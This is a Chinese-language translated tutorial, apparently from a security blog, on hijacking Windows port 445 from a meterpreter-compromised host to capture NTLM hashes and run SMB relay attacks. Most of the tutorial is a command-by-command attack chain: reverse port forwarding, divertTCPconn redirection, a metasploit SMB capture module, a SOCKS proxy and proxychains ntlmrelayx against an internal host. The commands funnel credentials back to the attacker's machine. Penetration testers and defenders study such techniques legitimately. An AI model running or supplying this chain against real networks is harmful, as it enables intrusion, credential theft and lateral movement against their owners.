技術討論 | Meterpreter在Windows 445埠實施遠端NTLM中繼攻擊測試
寫在前面的話
劫持445埠來執行中繼攻擊或Hash-Capturing攻擊已經是一種經常會出現的攻擊方式了,當你使用meterpreter感染目標裝置時,你如何監聽445埠呢?就在幾周之前,這個話題再次浮出了水面。但實際上,現有的工具早就已經解決了這個問題了,只不過很少有人知道罷了…
在這篇文章中,我們將介紹如何利用這些工具來對目標裝置執行中繼攻擊。這種技術的好處就在於,我們不需要在受感染的主機上使用python2exe或整個Python棧,我們只需要使用簡單的驅動器和meterpreter就可以實現目標。
請注意,為了方便演示,我們這裡把所有的檔案都放在了目標主機的磁碟中,如果你在實際操作中不想這樣的話,你可以使用RAM磁碟解決方案或擴充套件當前的meterpreter記憶體執行功能來實現自己的目標。除此之外,你還可以採用靜態編譯等方法來捆綁額外的DLL檔案。
埠445的“主人”是誰?
首先,我們需要知道主機中哪一個服務或程序負責監聽埠445。一般來說,在解決這種型別的問題時我喜歡先上網搜尋一番,如果有人已經回答過這些問題的話,我們就可以直接在系統上手動驗證並複製解決方案了。所以我直接Google了以下內容:
msdnprocess listening port 445
下面這兩篇文章是我覺得比較有價值的:
1. ofollow,noindex" target="_blank">https://msdn.microsoft.com/en-us/library/cc875824.aspx
根據上述文章提供的內容,我進行了一系列測試,並通過啟用和禁用服務來判斷該服務是否負責監聽445埠,結果我就發現了Server服務。但是這個服務並不會給我們帶來立竿見影的效果,因為它需要重啟裝置才能完成我們的操作,顯然這不是真正可行的解決方案。因為理想情況下,我們並不想重啟受感染的裝置。
深入分析並檢視該服務的相關屬性之後,我們就可以找到啟用該服務的命令:
C:\WINDOWS\system32\svchost.exe-k netsvcs -p
如果你想深入瞭解svchost.exe的命令列引數,我建議你訪問Geoff Chappell的網站:【 傳送門 】
如果我們導航到文章上述所介紹的登錄檔鍵:
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Svchost
我們將看到大量的捆綁服務,但這也並沒有完全解決我們的問題,所以我們需要另闢蹊徑。這裡我找到了一篇關於EternalBlue漏洞利用的文章,這裡面提到了 漏洞利用分析和Windows 10埠 的相關內容:srv.sys驅動器和某些需要與該驅動器協同工作的驅動器都會涉及到SMB協議。最後,為了得到最終的確認,我們還找到了這篇文章:【 傳送門 】
現在,我們瞭解到了負責處理程式與埠445通訊的程式碼位於核心中,這對於我們來說絕對是一個壞訊息,因為劫持socket的難度非常大。接下來,我們會介紹如何劫持和重定向埠445。
埠445的劫持與重定向
既然我們已經知道了埠445的“主人”存在於核心中,我們就可以開始設計我們的攻擊策略了。首先,我想到的就是使用Linux的iptables來劫持傳入或傳出的連線資料,因為它所做的工作屬於的是網路棧中的底層部分。為了弄清楚這種方法能否應用到Windows中,我們需要看一看Windows防火牆的內部工作原理:
1、 Windows防火牆架構:【 傳送門 】
2、 Windows過濾器平臺概覽:【 傳送門 】
這裡我們需要建立一個專門的驅動程式,你可能會認為netsh埠重定向技術可能會有用,但其實不然。雖然建立一個驅動程式聽起來似乎並不是最理想的解決方案,但如果你搜索類似wfp埠連線之類的相關內容,你就會發現答案@agsolino已經給出了,接下來我們一起看一看如何利用meterpreter和上述技術來重定向目標系統埠445的連線。下圖顯示的是整個技術的工作機制:
我們可以看到,我們已經得到了一臺感染了meterpreter的主機,利用這個meterpreter,我們可以設定一個反向埠轉發,然後在我們的主機上通過埠4444來接收meterpreter連線。遠端監聽埠8445(meterpreter)將接收來自埠445的連線資料,從而劫持來自445的連線,並將它們轉發到metasploit。接下來,我們通過劫持某些憑證來看看如何劫持Windows 445埠:
1. 設定一個可用的擁有管理員許可權的meterpreter會話;
2. 設定一個SMB捕捉伺服器:
a) 使用auxiliary/scanner/smb/smb_login b) 設定SRVPORT 9445 c) 執行-j
3. 設定一個meterpreter反向轉發埠:
portfwdadd -R -L 127.0.0.1 -l 9445 -p 8445
4. 設定埠445劫持:
divert TCPConn.exe 445 8445
現在,當目標主機連線到受感染主機的445埠之後,你將會在你的metasploit控制檯中接收到雜湊:
接下來,我們一起看一看遠端NTLM中繼攻擊的完整實現機制。
如何通過meterpreter實現SMB中繼攻擊
現在,我們將在Ubuntu系統中使用ntlmrelayx,中繼裝置為目標系統中的某個系統。這裡涉及到通過meterpreter來轉發正向和反向流量,反向連線用於確保目標網路內的主機能夠跟受感染主機完成連線,這裡需要用到ntlmrelayx,與目標網路的連線需要涉及到SOCKS代理。下圖顯示的是整個攻擊流程:
第一步跟之前的圖片類似,這裡將設定我們的反向通道:
1. 設定一個可用的擁有管理員許可權的meterpreter會話
2. 設定一個meterpreter反向埠轉發:
portfwd add -R -p 4445 -l 445 -L 127.0.0.1
3. 通過meterpreter進行埠445劫持:
execute-f divertTCPconn.exe -a '445 4445'
為了設定轉發通道,我們通過meterpreter會話聽加了一個路由來重定向流量,並設定SOCKS代理:
1. 通過meterpreter新增路由,這裡需要指定IP地址:
route add 192.168.222.103/32 3
2. 設定SOCKS代理:
a) 使用auxiliary/server/socks4a b) run c) 確保/etc/proxychains.conf中指定了SOCKS埠(預設1080)
3. 通過SOCK執行ntlmrelayx:
sudo proxychains ntlmrelayx.py -t smb://192.168.222.103 -smb2support
下圖為執行結果:
*參考來源: diablohorn ,FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM